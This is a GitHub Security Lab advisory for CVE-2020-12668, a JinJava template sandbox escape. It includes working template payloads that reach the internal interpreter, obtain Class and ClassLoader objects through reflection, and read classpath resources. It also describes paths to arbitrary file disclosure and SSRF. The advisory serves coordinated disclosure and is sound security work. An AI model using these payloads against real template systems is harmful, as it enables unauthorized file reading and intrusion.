


[skip to content](#)  
[Back to GitHub.com](#)



[Security Lab](#)  
[Bounties](#) [Research](#) [Advisories](#) [Get Involved](#) [Events](#)  
  
[Home](#) [Bounties](#) [Research](#) [Advisories](#) [Get Involved](#) [Events](#)  
July 29, 2020

# GHSL-2020-072: Arbitrary file disclosure in JinJava - CVE-2020-12668



[Alvaro Munoz](#)

## Summary

A user with privileges to write JinJava templates, for example in a CMS context, will be able to read arbitrary files from the file system.

## Product

JinJava

## Tested Version

2.5.3

## Details

### Unauthorized access to `Class` instance

JinJava does a great job preventing access to `Class` instances. It will prevent any access to a `Class` property or invocation of any methods returning a `Class` instance. However, it does not prevent `Array` or `Map` accesses returning a `Class` instance. Therefore, it should be possible to get an instance of `Class` if we find a method returning `Class[]` or `Map<?, Class>`.

### Interpreter access

JinJava has another vulnerability, it exposes the internal JinJava interpreter through the `secret ____int3rpr3t3r____` variable. Having access to the interpreter, we can do a variety of things. For example, we can list all variables in the template context which may give us access to undocumented objects.

```
{% for key in ____int3rpr3t3r____.getContext().entrySet().toArray() %}
  {{key.getKey()}} - {{key.getValue()}}
{% endfor %}
```

It also give access to all filters, functions and tags:

```
{% for key in ____int3rpr3t3r____.getContext().getAllFunctions().toArray() %}
  {{key}}
{% endfor %}
```

```
{% for key in ____int3rpr3t3r____.getContext().getAllTags().toArray() %}
  {{key}}
{% endfor %}
```

```
{% for key in ____int3rpr3t3r____.getContext().getAllFilters().toArray() %}
  {{key.getName()}}
{% endfor %}
```

Functions are particularly interesting since they give us access to `java.lang.reflect.Method` instances. From a `Method` we can get arrays of their exception and parameter types:

```
{% for key in ____int3rpr3t3r____.getContext().getAllFunctions().toArray() %}
  {{key}} - {{key.getName()}} - {% for exc in key.getMethod().getExceptionTypes() %}{{exc}},{% endfor %} - {% for param in key.getMethod().getParameterTypes() %}{{param}},{% endfor %}
{% endfor %}
```

With that we can finally access `Class` instances. E.g:

```
{% set class = ____int3rpr3t3r____.getContext().getAllFunctions().toArray()[0].getMethod().getParameterTypes()[0] %}
{{ class }}
```

### ClassLoader access

Once we have access to a `Class` instance we can also get access to a `ClassLoader` instance through the `protectionDomain` since direct access from `Class.getClassLoader()` is forbidden.

```
{% set classLoader = class.getProtectionDomain().getClassLoader() %}
{{ classLoader }}
```

### Arbitrary Classpath Resource Disclosure

Using the `Class` or `ClassLoader` instances we can get access to `Classpath` resources with:

```
{% set class = ____int3rpr3t3r____.getContext().getAllFunctions().toArray()[0].getMethod().getParameterTypes()[0] %}
{% set is = class.getResourceAsStream("/Foo.class") %}
{% for I in range(999) %} {% set byte = is.read() %} {{ byte }}, {% endfor %}
```

### Arbitrary File Disclosure

We can finally get access to arbitrary File System files by retrieving `Classpath` resource as an `URL`, and then converting it to an `URI` since this class contains a static `create()` method that will allow us to create arbitrary `URIs`. Once that we have an `URI` pointing to the resource we want to access, we can open a connection and read its content from an input stream.

### Server-Side Request Forgery

We can use a different protocol such as `http`, `https` or `ftp` to establish a network connection and initiate a Server-Side request forgery attack.

### Impact

This issue may lead to Arbitrary File Disclosure.

## CVE

CVE-2020-12668

## Coordinated Disclosure Timeline

This report was subject to the GHSL [coordinated disclosure policy](#).

- 04/15/2020: Report sent to vendor
- 05/04/2020: Issue is fixed in version 2.5.4

## Credit

This issue was discovered and reported by GHSL team member [@pwntester \(Alvaro Muñoz\)](#).

## Contact

You can contact the GHSL team at [securitylab@github.com](mailto:securitylab@github.com), please include a reference to GHSL-2020-072 in any communication regarding this issue.

## GitHub

### Product

- [Features](#)
- [Security](#)
- [Enterprise](#)
- [Customer stories](#)
- [Pricing](#)
- [Resources](#)

### Platform

- [Developer API](#)
- [Partners](#)
- [Atom](#)
- [Electron](#)
- [GitHub Desktop](#)

### Support

- [Docs](#)
- [Community Forum](#)
- [Professional Services](#)
- [Status](#)
- [Contact GitHub](#)

### Company

- [About](#)
- [Blog](#)
- [Careers](#)
- [Press](#)
- [Shop](#)

- 
- 
- 
- 
- 

- © 2021 GitHub, Inc.
- [Terms](#)
- [Privacy](#)
- [Cookie settings](#)